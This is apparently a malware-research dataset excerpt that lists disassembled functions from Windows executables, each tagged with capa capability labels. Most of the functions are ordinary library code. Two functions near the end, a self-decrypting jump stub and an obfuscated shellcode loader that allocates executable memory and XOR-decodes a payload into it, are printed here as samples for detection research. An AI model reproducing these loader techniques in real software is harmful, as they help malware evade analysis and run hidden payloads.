joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1011efc0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push edi
mov eax, dword [ebp + 4]
cmp eax, dword [ecx + 4]
jge 0x1011efd7
mov ebx, ecx
jmp 0x1011efdb
mov ebx, ebp
mov ebp, ecx
mov edi, dword [esp + 0x10]
mov eax, dword [ebx + 4]
cmp eax, dword [edi + 8]
jg 0x1011efeb
mov eax, edi
jmp 0x1011eff5
push eax
push edi
call fcn.10089890
add esp, 8
test eax, eax
jne 0x1011effd
pop edi
pop ebp
pop ebx
ret
push esi
xor esi, esi
cmp dword [ebp + 4], esi
jle 0x1011f01c
mov eax, dword [ebx]
mov ecx, dword [ebp]
mov edx, dword [eax + esi*4]
xor edx, dword [ecx + esi*4]
mov eax, dword [edi]
inc esi
mov dword [eax + esi*4 - 4], edx
cmp esi, dword [ebp + 4]
jl 0x1011f005
cmp esi, dword [ebx + 4]
jge 0x1011f031
mov eax, dword [ebx]
mov ecx, dword [edi]
mov eax, dword [eax + esi*4]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [ebx + 4]
jl 0x1011f021
mov ecx, dword [ebx + 4]
mov dword [edi + 4], ecx
pop esi
test ecx, ecx
jle 0x1011f055
mov edx, dword [edi]
add edx, 0xfffffffc
lea edx, [edx + ecx*4]
mov eax, dword [edx]
lea edx, [edx - 4]
test eax, eax
jne 0x1011f052
dec ecx
test ecx, ecx
jg 0x1011f044
mov dword [edi + 4], ecx
cmp dword [edi + 4], 0
jne 0x1011f062
mov dword [edi + 0xc], 0
pop edi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x10120040
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push ebp
xor edi, edi
call fcn.100a7f90
push ebp
call fcn.100a7eb0
mov esi, eax
add esp, 8
test esi, esi
je 0x10120249
push ebx
mov ebx, dword [esp + 0x18]
mov eax, dword [ebx + 4]
add eax, eax
cmp eax, dword [esi + 8]
jg 0x10120075
mov eax, esi
jmp 0x1012007f
push eax
push esi
call fcn.10089890
add esp, 8
test eax, eax
je 0x10120248
mov ebp, dword [ebx + 4]
dec ebp
js 0x101201f9
mov eax, dword [ebx]
mov edx, dword [eax + ebp*4]
mov ecx, edx
shr ecx, 1
and ecx, 0x8000
mov eax, edx
and eax, 0x20000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x40000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x80000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x100000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x200000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x400000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x800000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x1000000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x2000000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x4000000
or ecx, eax
shr ecx, 1
mov eax, edx
and eax, 0x8000000
or ecx, eax
mov eax, edx
and eax, 0x10000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x20000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x40000000
shr ecx, 1
or ecx, eax
mov eax, dword [esi]
and edx, reloc.WS2_32.dll_accept
shr ecx, 1
or ecx, edx
shr ecx, 1
mov dword [eax + ebp*8 + 4], ecx
mov eax, dword [ebx]
mov ecx, dword [eax + ebp*4]
mov edx, ecx
and edx, 0x8000
add edx, edx
mov eax, ecx
and eax, 0x4000
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x2000
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x1000
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x800
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x400
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x200
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x100
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x80
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x40
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x20
or edx, eax
add edx, edx
mov eax, ecx
and eax, 0x10
or edx, eax
add edx, edx
mov eax, ecx
and eax, 8
or edx, eax
add edx, edx
mov eax, ecx
and eax, 4
or edx, eax
add edx, edx
mov eax, ecx
and eax, 2
or edx, eax
mov eax, dword [esi]
add edx, edx
and ecx, 1
or edx, ecx
dec ebp
mov dword [eax + ebp*8 + 8], edx
jns 0x10120091
mov eax, dword [ebx + 4]
add eax, eax
mov dword [esi + 4], eax
test eax, eax
jle 0x10120221
mov ecx, dword [esi]
lea edx, [eax - 1]
lea edx, [ecx + edx*4]
lea ecx, [ecx]
mov ecx, dword [edx]
lea edx, [edx - 4]
test ecx, ecx
jne 0x1012021e
dec eax
test eax, eax
jg 0x10120210
mov dword [esi + 4], eax
cmp dword [esi + 4], edi
jne 0x10120229
mov dword [esi + 0xc], edi
push dword [esp + 0x1c]
push esi
push dword [esp + 0x1c]
call fcn.1011f100
mov ebp, dword [esp + 0x2c]
add esp, 0xc
mov ecx, 1
test eax, eax
cmovne edi, ecx
pop ebx
push ebp
call fcn.100a7e40
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x1013ffd0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xa8
call fcn.101637b0
mov eax, dword [0x101f9e50]
xor eax, esp
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0xac]
push ebx
push ebp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xb8]
push esi
mov eax, dword [eax + 4]
mov esi, dword [esp + 0xc4]
push edi
mov edi, dword [esp + 0xc4]
mov dword [esp + 0x14], eax
sub eax, edi
xor ebp, ebp
mov dword [esp + 0x10], eax
cmp esi, edi
jae 0x10140036
push str.orig_len___md_size
push 0xf8
push str.._ssl_s3_cbc.c
call fcn.1009d470
add esp, 0xc
cmp edi, 0x40
jbe 0x10140052
push str.md_size___EVP_MAX_MD_SIZE
push 0xf9
push str.._ssl_s3_cbc.c
call fcn.1009d470
add esp, 0xc
lea eax, [esp + 0x34]
neg eax
and eax, 0x3f
lea ebx, [esp + 0x34]
add ebx, eax
lea eax, [edi + 0x100]
mov dword [esp + 0x1c], ebx
cmp esi, eax
jbe 0x10140079
mov ebp, esi
sub ebp, edi
sub ebp, 0x100
mov eax, edi
and eax, 0xfffffffe
shl eax, 0x17
sub eax, ebp
add eax, dword [esp + 0x10]
xor edx, edx
div edi
push edi
push 0
push ebx
mov esi, edx
mov dword [esp + 0x30], esi
call fcn.10161f10
add esp, 0xc
mov dword [esp + 0x18], 0
cmp ebp, dword [esp + 0xc8]
jae 0x10140169
mov ecx, dword [esp + 0x10]
mov eax, ecx
shr eax, 0x1f
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x14]
mov edx, eax
shr edx, 0x1f
mov dword [esp + 0x28], edx
mov edx, ebp
sub edx, eax
sub eax, ecx
mov ecx, dword [esp + 0xc0]
mov dword [esp + 0x10], edx
mov ecx, dword [ecx + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x30], ecx
mov esi, ebx
lea ebx, [ebx]
lea ebx, [eax + edx]
mov eax, dword [esp + 0x20]
shr edx, 0x1f
shr ebx, 0x1f
xor bl, al
mov ecx, ebp
shr ecx, 0x1f
xor al, cl
or bl, al
mov eax, dword [esp + 0x28]
xor dl, al
xor al, cl
or dl, al
mov eax, dword [esp + 0x30]
xor dl, cl
mov al, byte [eax + ebp]
dec dl
xor bl, cl
mov ecx, dword [esp + 0x18]
not dl
and dl, al
dec bl
and dl, bl
or byte [ecx + esi], dl
mov edx, ecx
inc edx
mov ecx, edx
sub ecx, edi
mov eax, edx
xor ecx, edi
xor eax, edi
or ecx, eax
mov eax, dword [esp + 0x14]
xor ecx, edx
shr ecx, 0x1f
neg ecx
and edx, ecx
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x10]
inc ebp
inc edx
mov dword [esp + 0x10], edx
cmp ebp, dword [esp + 0xc8]
jb 0x101400f0
mov esi, dword [esp + 0x24]
mov ebx, dword [esp + 0x1c]
xor edx, edx
test edi, edi
je 0x1014019e
mov ebp, dword [esp + 0x2c]
mov eax, esi
xor eax, 0x20
inc esi
mov al, byte [eax + ebx]
movzx eax, byte [esi + ebx - 1]
mov byte [edx + ebp], al
mov ecx, esi
sub ecx, edi
xor ecx, edi
mov eax, esi
xor eax, edi
or ecx, eax
xor ecx, esi
shr ecx, 0x1f
neg ecx
inc edx
and esi, ecx
cmp edx, edi
jb 0x10140173
mov ecx, dword [esp + 0xb4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.101604df
add esp, 0xa8
ret
Function at 0x10140b10
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.101637b0
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x14]
inc ebp
mov eax, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x38], 1
je 0x10140b58
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + 4]
lea eax, [ecx + ebp]
cmp eax, edx
jbe 0x10140b4b
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
add dword [esi + 0xc], ecx
add dword [esi + 0x10], ecx
sub edx, ecx
mov dword [esi + 4], edx
jmp 0x10140b5d
cmp ebp, dword [esi + 4]
ja 0x10140b44
test dword [edi + 0x100], 0x200
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 4]
push ebx
movzx ebx, byte [ecx + eax - 1]
je 0x10140bb0
cmp dword [edi + 0x88], 0
jne 0x10140bb0
mov eax, dword [edi + 0x58]
push 8
add eax, 8
push 0x101cf66c
push eax
call fcn.1009d1b0
add esp, 0xc
test eax, eax
jne 0x10140ba3
test bl, 1
jne 0x10140ba3
mov eax, dword [edi + 0x58]
or dword [eax], 8
mov eax, dword [edi + 0x58]
test byte [eax], 8
je 0x10140bb0
test ebx, ebx
je 0x10140bb0
dec ebx
mov eax, dword [edi + 0x80]
push dword [eax]
call fcn.100cc4a0
add esp, 4
test eax, 0x200000
je 0x10140bda
or eax, 0xffffffff
sub eax, ebx
add dword [esi + 4], eax
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
pop ecx
ret
mov edx, dword [esi + 4]
lea eax, [ebx + ebp]
mov edi, edx
sub edi, eax
xor edi, eax
xor eax, edx
or edi, eax
xor edi, edx
shr edi, 0x1f
mov ecx, 0xff
lea eax, [edx - 1]
dec edi
cmp eax, ecx
cmovb ecx, eax
xor ebp, ebp
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], ecx
test ecx, ecx
je 0x10140c5c
mov esi, dword [esi + 0xc]
mov eax, ebx
shr eax, 0x1f
dec esi
mov dword [esp + 0x24], eax
add esi, edx
lea ebx, [ebx]
mov al, byte [esp + 0x24]
mov edx, ebx
sub edx, ebp
shr edx, 0x1f
mov ecx, ebp
shr ecx, 0x1f
xor dl, cl
xor al, cl
or dl, al
xor dl, byte [esp + 0x24]
movzx eax, byte [esi]
dec dl
movzx ecx, dl
xor eax, ebx
and ecx, eax
not ecx
inc ebp
and edi, ecx
lea esi, [esi - 1]
cmp ebp, dword [esp + 0x18]
jb 0x10140c20
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
not edi
and edi, 0xff
lea eax, [ebx + 1]
lea ecx, [edi - 1]
shr ecx, 0x1f
not edi
shr edi, 0x1f
and ecx, edi
neg ecx
and eax, ecx
sub edx, eax
shl eax, 8
or dword [esi], eax
pop ebx
mov eax, ecx
pop edi
mov dword [esi + 4], edx
and eax, 1
not ecx
pop esi
or eax, ecx
pop ebp
pop ecx
ret
Function at 0x10141080
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10
call fcn.101637b0
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
xor esi, esi
push esi
xor edi, edi
call fcn.10127db0
add esp, 0xc
test eax, eax
je 0x10141208
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0xc]
shl eax, 0xa
test ebx, eax
je 0x101410bc
inc edi
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
inc esi
push esi
call fcn.10127db0
add esp, 0xc
test eax, eax
jne 0x101410b0
test edi, edi
je 0x10141208
mov ecx, dword [esp + 0x50]
mov eax, ecx
cdq
idiv edi
push ebp
mov ebp, dword [esp + 0x50]
mov esi, eax
xor eax, eax
cmp edi, 1
mov edi, dword [esp + 0x60]
push edi
push eax
push dword [esp + 0x60]
cmove ecx, eax
mov dword [esp + 0x28], esi
mov dword [esp + 0x60], ecx
call fcn.10161f10
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push 0
mov dword [esp + 0x30], 0
call fcn.10127db0
add esp, 0x18
test eax, eax
je 0x101411d3
nop
mov eax, dword [esp + 0x10]
shl eax, 0xa
test ebx, eax
je 0x101411af
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x101411e0
push edi
push dword [esp + 0x60]
mov eax, dword [esp + 0x5c]
push dword [esp + 0x54]
and eax, 1
push dword [esp + 0x54]
add eax, esi
push dword [esp + 0x54]
push dword [esp + 0x54]
push dword [esp + 0x54]
push dword [esp + 0x54]
push dword [esp + 0x54]
push dword [esp + 0x54]
push dword [esp + 0x54]
push dword [esp + 0x54]
push eax
push ebp
push ecx
call fcn.10141230
add esp, 0x3c
test eax, eax
je 0x101411fe
add ebp, esi
test edi, edi
jle 0x101411af
mov ecx, dword [esp + 0x58]
mov esi, dword [esp + 0x5c]
sub esi, ecx
mov edx, edi
mov edi, edi
mov al, byte [esi + ecx]
xor byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x101411a0
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
inc eax
push ecx
push eax
mov dword [esp + 0x24], eax
call fcn.10127db0
add esp, 0xc
test eax, eax
jne 0x10141130
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x10
ret
push 0x114
push str.._ssl_t1_enc.c
push 0x146
push 0x11c
push 0x14
call fcn.10093e80
add esp, 0x14
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10
ret
push 0x109
push str.._ssl_t1_enc.c
push 0x44
push 0x11c
push 0x14
call fcn.10093e80
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x1017c413
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x101f9e50]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.1016b4f3
mov dword [ebp - 0x14], eax
cmp dword [0x10205a08], edi
jne 0x1017c504
push 0x800
push edi
push 0x101d6294
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x1017c491
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1017c5e4
push 0x101d6294
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x1017c5e4
push 0x101d62ac
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1017c5e4
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x10205a08], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10205a0c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x101d62dc
push esi
mov dword [0x10205a10], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10205a18], eax
test eax, eax
je 0x1017c501
push 0x101d62f8
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10205a14], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1017c529
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1017c51c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x1017c53e
push 4
pop eax
jmp 0x1017c5e6
cmp dword [ebp - 0x14], edi
je 0x1017c53e
push dword [0x10205a08]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1017c523
mov eax, dword [0x10205a14]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x1017c59c
cmp dword [0x10205a18], esi
je 0x1017c59c
push eax
call ebx
push dword [0x10205a18]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1017c59c
test eax, eax
je 0x1017c59c
call ecx
test eax, eax
je 0x1017c591
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1017c591
test byte [ebp - 8], 1
jne 0x1017c59c
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x1017c5cc
mov eax, dword [0x10205a0c]
cmp eax, esi
je 0x1017c5c9
push eax
call ebx
test eax, eax
je 0x1017c5c9
call eax
mov edi, eax
test edi, edi
je 0x1017c5c9
mov eax, dword [0x10205a10]
cmp eax, esi
je 0x1017c5c9
push eax
call ebx
test eax, eax
je 0x1017c5c9
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x10205a08]
call ebx
test eax, eax
je 0x1017c5e4
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x1017c5e6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.101604df
leave
ret
Function at 0x1017ebfd
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10172474
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1017ec35
xor eax, eax
jmp 0x1017ec61
cmp esi, dword [ebp - 4]
je 0x1017ec5e
cmp dword [ebp + 0xc], 0
je 0x1017ec5e
push dword [edi + 0x9c]
call fcn.1017e80b
push dword [edi + 0x9c]
mov esi, eax
call fcn.10169c9a
pop ecx
pop ecx
cmp esi, eax
je 0x1017ec31
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x10182770
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov edi, dword [esp + 0xc]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push edi
mov esi, eax
call fcn.100870e0
add esp, 8
test esi, esi
jg 0x101827c7
je 0x101827a9
cmp esi, 0xffffffff
jne 0x101827c7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.101829d0
add esp, 4
test eax, eax
je 0x101827c7
push 0xa
push edi
call fcn.100877e0
add esp, 8
pop edi
mov eax, esi
pop esi
ret

Function at 0x10182b30
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x20]
cmp dword [eax], 6
je 0x10182b4b
push eax
push esi
call fcn.101831f0
add esp, 8
test eax, eax
jle 0x10182b93
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push esi
mov edi, eax
call fcn.100870e0
add esp, 8
test edi, edi
jg 0x10182b90
push edi
call fcn.10182a90
add esp, 4
test eax, eax
je 0x10182b90
push 0xa
push esi
call fcn.100877e0
add esp, 8
mov eax, edi
pop edi
pop esi
ret
Function at 0x10184ab0
Capabilities:
Resolve dns

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
push ebx
push esi
mov ebp, 1
call fcn.10184f70
mov edi, eax
add esp, 8
test edi, edi
jns 0x10184aeb
push 0x7b
push str..crypto_bio_b_sock.c
push 0x6c
push 0x6a
push 0x20
call fcn.10093e80
add esp, 0x14
jmp 0x10184bac
call fcn.10184ea0
cmp eax, 1
jne 0x10184bbc
test edi, edi
jle 0x10184b04
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
push 0x8e
push str..crypto_bio_b_sock.c
push 0x16
push 9
call fcn.1009d140
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
jne 0x10184b41
push 0x92
push str..crypto_bio_b_sock.c
push 0x66
push 0x6a
push 0x20
call fcn.10093e80
add esp, 0x14
jmp 0x10184b92
cmp word [ecx + 8], 2
je 0x10184b62
push 0x99
push str..crypto_bio_b_sock.c
push 0x6b
push 0x6a
push 0x20
call fcn.10093e80
add esp, 0x14
jmp 0x10184b92
mov eax, dword [ecx + 0xc]
xor ebp, ebp
mov eax, dword [eax]
movzx eax, byte [eax]
mov byte [ebx], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 1]
mov byte [ebx + 1], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 2]
mov byte [ebx + 2], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 3]
mov byte [ebx + 3], al
push 0xa2
push str..crypto_bio_b_sock.c
push 0x16
push 0xa
call fcn.1009d140
add esp, 0x10
test ebp, ebp
je 0x10184bc3
push esi
push 0x101d784c
push 2
call fcn.100933f0
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x10184f20
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 8]
push esi
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 0x8004667e
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
test esi, esi
jns 0x10184f60
push 0x233
push str..crypto_bio_b_sock.c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 5
push 2
call fcn.10093e80
add esp, 0x14
xor eax, eax
test esi, esi
sete al
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x348ac8f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x348ac8ff
pop dword [ebp - 0x20]
mov eax, 0x45e22961
add eax, 0xeea89f9e
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x11349b76
sub dword [ebp - 0x30], 0xc2e2562b
mov dword [ebp - 0x2c], 0x94186c11
add dword [ebp - 0x2c], 0x9e1ae034
mov dword [ebp - 0x28], 0xa5e57aeb
sub dword [ebp - 0x28], 0x599936bd
mov dword [ebp - 0x24], 0x56d1b6a5
sub dword [ebp - 0x24], 0x56d1b6a5
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xab991e82
sub dword [ebp - 0x30], 0x3726b52c
mov dword [ebp - 0x2c], 0x8a0e9860
sub dword [ebp - 0x2c], 0x48a236eb
mov dword [ebp - 0x28], 0xbbafcfee
sub dword [ebp - 0x28], 0x58406382
mov dword [ebp - 0x24], 0x7e991984
add dword [ebp - 0x24], 0x8166e67c
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x81768098
sub eax, 0x4ced6ecc
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x383c8
push 0
call eax
mov ecx, 0x8a23ef44
sub ecx, 0x8a23b31e
xor edx, edx
add edx, eax
mov edi, 0xb7823c07
sub edi, 0x82f41c07
add edi, dword [ebp - 0x20]
mov esi, 0x10429f3c
sub esi, 0x49794e83
sub dword [ebp - 0x1c], 0x75f35be3
mov ebx, dword [edi]
xor ebx, esi
sub dword [ebp - 4], 0xb2c1c497
mov dword [edx], ebx
add edx, 0xbff63734
add edx, 0x4009c8d0
add edi, 4
loop 0x348aca1e
add eax, 0x412fab5d
add eax, 0xbed1380e
xor ebx, ebx
add ebx, eax
add eax, 0x7f7975b0
sub eax, 0x7f7975ab
mov ecx, 0x621930f9
add ecx, 0xd26fcf07
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4058b4
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405e88
test eax, eax
mov esi, dword [esp + 0x18]
je 0x4058d8
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405a11
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x422630], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x422630
je 0x40591c
push 1
push 0
push esi
call fcn.0040583d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405a17
cmp eax, edi
jg 0x405a17
mov esi, 0x4220a8
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405a17
cmp eax, edi
jg 0x405a17
push esi
push ebp
push 0x409354
push 0x421ca8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x423eb0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405b88
push 4
push 0xc0000000
push esi
call fcn.0040583d
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x405a11
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405a0a
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405a0a
cmp edi, dword [esp + 0x18]
jne 0x405a0a
push str._Rename__r_n
push esi
call fcn.004057b2
test eax, eax
jne 0x405a1e
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.00405b66
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x421ca8
push eax
call fcn.004057fe
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x423f30]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x409350
push eax
call fcn.004057b2
test eax, eax
je 0x4059d5
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x405a45
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x405a3a
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x4059d7